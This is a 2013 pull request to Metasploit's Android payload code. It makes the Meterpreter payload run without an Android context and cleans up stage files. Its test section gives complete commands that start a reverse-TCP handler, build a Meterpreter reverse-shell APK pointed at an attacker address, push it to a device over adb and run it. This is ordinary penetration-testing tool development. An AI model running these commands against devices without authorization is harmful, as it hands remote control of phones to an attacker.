rapid7/metasploit-javapayload — pull request #6 by timwr (2013-10-14 13:46:08+00:00)
Title: Allow Android meterpreter to work without an Android context

Hi all,
We pass the Android context as part of the stage but we only really need it because we need a writeable directory to store the stage jars (sidenote: in the latest Android we can avoid even this thanks to Dalvik_dalvik_system_DexFile_openDexFile_bytearray). This change makes the context optional so the meterpreter can easily be run with the 'dalvikvm' command).
To test:
msfconsole -x "sleep 2; use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 192.168.0.1; exploit"
then
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 R > android.apk
adb push android.apk /data/local/tmp/android.apk
adb shell "cd /data/local/tmp; mkdir tmp2; cd tmp2; dalvikvm -cp /data/local/tmp/android.apk com.metasploit.stage.Payload"

Additionally the dex/jar stage files will be cleaned up correctly in this pr (they were not before).